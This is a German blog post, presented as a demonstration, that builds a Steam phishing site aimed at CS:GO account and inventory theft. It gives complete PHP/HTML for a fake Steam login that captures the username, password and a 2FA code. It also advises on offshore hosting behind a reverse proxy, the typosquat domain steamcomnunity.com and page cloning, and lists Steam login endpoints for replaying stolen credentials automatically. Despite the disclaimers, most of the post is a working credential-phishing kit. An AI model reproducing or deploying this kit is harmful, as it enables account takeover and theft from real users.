Hallo liebe Leser. Heute geht es um ein sehr heikles Thema und ich weiß, dass sich bestimmt die ein oder andere Person auf den Schlips getreten fühlt. Aber ich bitte jeden unvoreingenommen diesen Artikel zu lesen. Es geht um den CS:GO Inventory Scam (wobei diese Methode den ganzen Account betrifft und man somit mehr als „nur“ sein Inventar verlieren kann). Ich finde, dass es sehr viele Gerüchte rund um die verschiedenen Methoden gibt und die Leute zu viel Angst vor den falschen Dingen haben. Mit diesem Artikel möchte ich zumindest einer Methode auf den Zahn fühlen, die User aufklären und dabei auch in die Praxis gehen. Ich weise darauf hin, dass ich keinerlei kriminelle Aktivitäten dulde, unterstütze oder fördere. Das hier soll nur eine Demonstration sein.

Die Theorie – Phishing

phishing

Die einfachste Methode ist das Phishing. Beim Phishing werden persönliche Daten, wie Login Daten, Telefonnummern, E-Mail-Adressen und vieles mehr durch gefälschte E-Mails oder Websites abgegriffen. Die Nutzer denken sie melden sich bei einer ihnen vertrauten Website an, dabei ist die Website nur nachgemacht und somit eine Fälschung. Und genau so möchte ich in dieser Theorie & Praxislektion vorgehen. Ihr solltet sehen wie einfach so etwas ist und das Ihr deswegen immer 2 Mal überlegen solltet, was Ihr anklickt. Ich möchte nur im Voraus anmerken, dass ich natürlich nicht alles perfekt nachgebaut habe und es sicherlich vieles zu „verbessern“ gibt. Allerdings sieht meine Phishing Website sehr ähnlich aus und ist für Leihen nur schwer als Fälschung zu erkennen.

Die Vorbereitung

Als Vorbereitung legen sich Kriminelle meistens einen Offshore Webserver zu. Die Server stehen in Russland, Rumänien oder Hongkong, in Verbindung mit anonymen Bezahlmethoden wie Paysafecard, Bitcoin etc. und einem Reverse Proxy von einem anderen Offshore Anbieter als Verschleierungsmethode bleiben diese gefälschten Websites teilweise sehr lange online. Einfacher, schneller und vor allem günstiger ist die Einrichtung einer solchen Fälschung bei einem deutschen Anbieter, allerdings bleibt eine solche Website bei weitem nicht so lange online und zieht aufgrund des fehlenden Datenschutzes und der fehlenden Anonymität (wenn man dumm ist) auch strafrechtliche Konsequenzen nach sich.

Als nächsten Schritt muss man eine ähnliche freie Domain finden, wie die der Website, die man kopieren möchte. Sagen wir, man registriert sich die Domain steamcomnunity.com. Sieht doch gut aus, oder? Aber guck noch einmal genauer hin: steamcomnunity.com! Ein SSL Zertifikat und korrekte Rechtschreibung kosten beides nichts und machen im Zweifel den Unterschied zwischen shady und vertrauenswürdig.

Die Vermarktung dieser Website läuft meistens über Szene Foren, Mundpropaganda oder Werbung über AdSense oder ähnlichem.

Die Website – Erklärung

DateienAls Nächstes programmieren Kriminelle (und wir auch) die gefälschte Website. Ich weise nochmals darauf hin, dass ich keinerlei kriminelle Aktivitäten dulde, unterstütze oder fördere. Das hier soll nur eine Demonstration sein. Für diese Fälschung habe ich nicht mal eine ganze Stunde gebraucht und habe nebenbei sogar noch das Match zwischen Team DeftFox und den SSP geguckt. Insgesamt brauchen wir für unsere Website 6 Dateien. 3 PHP Dateien, welche unsere Website darstellen und 3 Bilder. Als Vorbild habe ich mir den Login der offiziellen Steam Website genommen.

Die Website – Bilder

steamwebsite

Als Erstes besorge ich mir die Bilder, weil das am schnellsten geht, auch wenn es im Endeffekt keinen Unterschied macht. Ich brauche ein Favicon (.ico), damit das Steam Logo auch im  Browser Tab zu sehen ist. Wichtig ist hierbei die korrekte Einbindung und Dateiendung des Bildes. Das offizielle Steam Logo, welches links im Bild zu sehen ist, speichere ich mir mit einem einfachen Rechtsklick ab und als Letztes fehlt mir noch die Login-Grafik. Diese finde ich auf der Website der Steam Dokumentation. Es macht im Prinzip keinen Unterschied, welches Bild man hier nehmen würde. Es kommt dann auf die Website an, die der Angreifer kopieren möchte und inwiefern es in das Design passt.

Die Website – Programmierung – Seite 1

Seite 1Ich möchte auf der linken Seite nur den Steam Login Button haben, wie man ihn zum Beispiel von Skinbaron oder anderen Seiten kennt. Kriminelle müssten jetzt noch eine Seite wie Skinbaron, Steam oder sonstiges nachbauen, was mit der richtigen Software wie Cyotek WebCopy aber relativ einfach ist.

Source Code – index.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    <title>Steam Login</title>
</head>
<body>
    <a href="#" onclick="window.open(
                            'login.php',
                            'Steam Login',
                            `toolbar=no,
                            menubar=no,
                            scrollbars=yes,
                            resizable=yes,
                            width=500,
                            height=400`
                        );return false;">
        <img src="loginbutton.png">
    </a>
</body>
</html>

Wir nutzen ein einfaches Grundgerüst einer Website, verlinken das Favicon und binden das Login Bild mit dem Javascript Event „onclick“ ein. Nach dem Klick auf das Bild soll sich ein neues Fenster mit dem vermeintlich echten Logins öffnen. Innerhalb des Events legen wir deshalb ein paar Werte fest, welche das Design des Fensters beeinflussen.

Die Website – Programmierung – Seite 2

Vergleich

Als Nächstes wollen wir unseren gefälschten Login programmieren. Oben auf dem Bild kann man sich das Endresultat angucken. Diesmal ist es tatsächlich wesentlich mehr Code. Ich werde wie immer alles erklären. Im Übrigen habe ich den Style nicht in eine externe .css Datei ausgegliedert, sondern aus „Platzgründen“ einfach in den Kopfbereich der Website geschrieben.

Source Code – login.php
<?php 
    session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    <title>Steam Login</title>

    <style>
        body{
            background: #212429;
            text-align: center;
            color: #dcdde1;
            font-family: "Motiva Sans", Sans-serif;
        }

        #container{
            margin-left: auto;
            margin-right: auto;
            width: 70%;
        }

        .headerlogo{
            width: 50%;
        }

        #login{
            margin-top: 8%;
        }

        .logininput{
            margin-bottom: 5px;
            border-radius: 4px;
            width: 300px;
            height: 25px;
            background-color: #2f3640;
            border: 0px;
            outline: none;
            color: #ecf0f1;
            font-size: 18px;
            padding: 5px;
        }

        .loginbutton{
            background: linear-gradient(to right, #47bfff 1%, #1a44c2 90%);
            width: 70%;
            height: 35px;
            border-radius: 4px;
            border: 0px;
            outline: none;
            color: #c8d6e5;
            margin-top: 10px;
            font-size: 16px;
        }

        .loginbutton:hover{
            background: linear-gradient(to right, #48dbfb 5%, #2e86de 60%);
            color: #ecf0f1;
        }

        .spacer{
            line-height: 0px;
        }

        .lostpw{
            text-decoration: none;
            color: #dcdde1;
        }
    </style>
</head>
<body>
    <div id="container">
        <img src="header.png" class="headerlogo">
        <?php 
            if(isset($_POST['submitbutton'])){
                $_SESSION['username'] = $_POST['username'];
                $_SESSION['password'] = $_POST['password'];
        ?>
            <form action="login-success.php" method="post" id="login">
                <font>2FA Code</font><br>
                <input type="text" class="logininput" name="2facode" required>
                <p class="spacer"> </p>
                <input type="submit" class="loginbutton" value="Anmelden" name="submitbutton2">
            </form>
        <?php
            }else{
        ?>
        <form action="<?php echo $_SERVER['PHP_SELF']; ?>" id="login" method="post">
            <font>Steam-Accountname</font><br>
            <input type="text" class="logininput" name="username" required>
            <p class="spacer"> </p>
            <font>Passwort</font><br>
            <input type="password" class="logininput" name="password" required>
            <input type="submit" class="loginbutton" value="Anmelden" name="submitbutton">
            <p class="spacer"> </p>
            <a href="#" class="lostpw">Passwort vergessen?</a>
        </form>
        <?php } ?>
    </div>
</body>
</html>

So dann machen wir uns mal an die Arbeit. Das Grundkonstrukt bildet wie immer ein HTML5 Grundgerüst. Bevor wir den Doctype deklarieren, starte ich in Zeile 2 aber noch eine Session mit PHP. Die Programmierer unter uns können sich jetzt schon denken warum, allen anderen werde ich es gleich erklären.

Zeile 14 bis Zeile 74 sind wirklich nur mit CSS Code beschrieben. Anders gesagt, ich lege dort das Aussehen der Seite fest. Ich lege Hintergrundfarbe, Abstände, Größe, Farben und mehr für die Seite selbst, verschiedene Elemente wie das Formular und Bilder fest. Wie bereits mehrmals angesprochen, habe ich mit Absicht leicht abweichende Farben genommen und wenige Sachen bewusst unterschiedlich gelassen.

<img src="header.png" class="headerlogo">

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" id="login" method="post">
    <font>Steam-Accountname</font><br>
    <input type="text" class="logininput" name="username" required>
    <p class="spacer"> </p>
    <font>Passwort</font><br>
    <input type="password" class="logininput" name="password" required>
    <input type="submit" class="loginbutton" value="Anmelden" name="submitbutton">
    <p class="spacer"> </p>
    <a href="#" class="lostpw">Passwort vergessen?</a>
</form>

Gucken wir uns mal den Code von Zeile 77, sowie von Zeile 92 bis Zeile 101 an. Als Erstes binden wir unser Steam Logo ein, welches wir mit dem CSS Code von oben schon positioniert und die Größe geändert haben.

Dann kommt unser erstes Formular. Wir weisen mit action=“<?php echo $_SERVER[‚PHP_SELF‘]; ?>“ die Form an, die Daten (in dem Fall Username und Passwort) an die gleiche Datei zu schicken. Dann binden wir mehrere Input-Felder ein, in die der User seine Logindaten einträgt. Ach so und den „Passwort vergessen“ Link nicht vergessen ;). Kommen wir nun zum PHP Code.

<?php 
    if(isset($_POST['submitbutton'])){
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['password'] = $_POST['password'];
    }else{
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" id="login" method="post">
     UNSERE FORM VON OBEN
</form>
<?php } ?>

Wir prüfen mit der isset() Funktion, ob der Input Button benutzt wurde. Wenn er gedrückt wurde, müssen Formulardaten übergeben worden sein. Also speichere ich sie, ungefiltert und nicht escaped, in Session Variablen, welche ich dementsprechend benenne. Falls das Formular nicht abgeschickt wurde, soll es mit if/else einfach im Ursprungszustand angezeigt werden.

Jetzt haben wir das „Problem“, dass es ja den Steam 2FA Code gibt, welcher genau sowas verhindern soll. Also brauchen wir ein 2. Formular, welches diesen Code auch noch abfängt. Also bauen wir das mit ein (zu sehen oben im ganzen Source Code von Zeile 83 bis Zeile 88).

<?php 
    if(isset($_POST['submitbutton'])){
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['password'] = $_POST['password'];
?>
    <form action="login-success.php" method="post" id="login">
        <font>2FA Code</font><br>
        <input type="text" class="logininput" name="2facode" required>
        <p class="spacer"> </p>
        <input type="submit" class="loginbutton" value="Anmelden" name="submitbutton2">
    </form>
<?php
    }else{
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" id="login" method="post">
     Benutzername und Passwort Form
</form>
<?php } ?>

2FA CodeAuf dem Bild auf der linken Seite könnt Ihr sehen wie das Ganze dann aussieht. Diesmal übergebe ich dann die Daten an die Datei login-success.php. Es reicht ein Formularfeld, in dem unser Code übergeben wird, der Anmeldebutton und schon wars das mit der Datei.

Ruft euch noch einmal in Erinnerung, dass wir den Usernamen und das Passwort in Session Variablen gespeichert haben. Schauen wir uns mal die letzte Datei an!

Die Website – Programmierung – Seite 3

Unsere letzte Seite ist natürlich sehr abweichend zu dem aufgebaut, was man normalerweise erwarten würde. Ein Krimineller würde jetzt wahrscheinlich eine Fehlermeldung ausgeben lassen mit der Bitte die Seite neu zu laden, indem man auf *diesen* Link klickt. Der Link leitet dich dann auf die richtige Steam Website um, wo der Login funktioniert. Oder er macht etwas ganz anderes.

Source Code – login-success.php
<?php 
    session_start();

    if(isset($_POST['submitbutton2'])){
        $_SESSION['twofacode'] = $_POST['2facode'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    <title>Login erfolgreich</title>

    <style>
        body{
            background: #212429;
            text-align: center;
            color: #dcdde1;
            font-family: "Motiva Sans", Sans-serif;
        }

        #container{
            margin-left: auto;
            margin-right: auto;
            width: 70%;
        }

        .headerlogo{
            width: 50%;
        }

        .spacer{
            line-height: 0px;
        }
    </style>
</head>
<body>
    <h4>Deine Login Daten</h4>
    <p>Username: <?php echo $_SESSION['username']; ?></p>
    <p>Passwort: <?php echo $_SESSION['password']; ?></p>
    <p>2FA Code: <?php echo $_SESSION['twofacode']; ?></p>
</body>
</html>  
<?php 
    }else{
        header('location: index.php');
        exit;
    }
?>

In Zeile 2 starten wir die Session. Danach überprüfen wir mit isset() wieder, ob das Formular abgeschickt wurde. Wir speichern den 2FA Code wie den Usernamen und das Passwort in einer Session Variable. Ich habe das Ganze jetzt so gelöst, dass ich den Usernamen, das Passwort und den 2FA Code auf der Website wieder ausgebe, um zu zeigen, dass das kein richtiger Login ist und ich nun wirklich mithilfe meiner gefälschten Website im Besitz deiner Login-Daten bin. Falls du das Formular nicht abgeschickt haben solltest, wirst du zur Startseite geleitet, da ich ja deine Daten haben möchte!

Ihr denkt jetzt natürlich, schön du hast zwar unsere Daten, aber innerhalb von wenigen Sekunden wirst du dich nicht in den Steam Account eingeloggt haben. Das brauche ich auch gar nicht. Anstatt die Daten auf der Seite auszugeben, könnte ich sie auch z. B. in einer Datenbank speichern, wo ein extra geschriebenes Programm überprüft, ob neue Datensätze vorhanden sind. Wenn ja, findet ein Login statt, weil man Login Requests ja „einfach“ nachbauen kann.

Request URI: POST https://steamcommunity.com/login/getrsakey/
Request Parameter: donotcache=&username=

Request URI: POST https://steamcommunity.com/login/dologin/
Request Parameter: captcha_text=&captchagid=&donotcache=
&emailauth=&emailsteamid=&loginfriendlyname=&password=
&remember_login=&rsatimestamp=&twofactorcode=&username=

Einmal eingeloggt, könnte das Programm Handelsanfragen ablehnen und auf einem gefälschten Account wiederum eine neue Handelsanfrage stellen. Der Nutzer erwartet ja bereits ein Handelsangebot beim nächsten Login und akzeptiert diesen eventuell ohne weiter Fragen zu stellen. Und schon ist das Inventar oder ein Teil des Inventars weg. Ebenfalls wäre eine Nachricht an die Steamfreunde möglich, wie sie vor ein paar Monaten noch oft der Fall war.

Ich habe jetzt noch einmal eine Demonstration der Website für euch aufgezeichnet, um euch zu zeigen, wie die Attacke in der Praxis ablaufen würde.

Das war es jetzt tatsächlich mit diesem Beitrag. Ich hoffe, euch hat er gefallen, ihr konntet etwas mitnehmen und ich konnte ein paar Ungereimtheiten aus dem Weg räumen! Bei Fragen -> ab in die Kommentare oder auf Twitter anschreiben :)!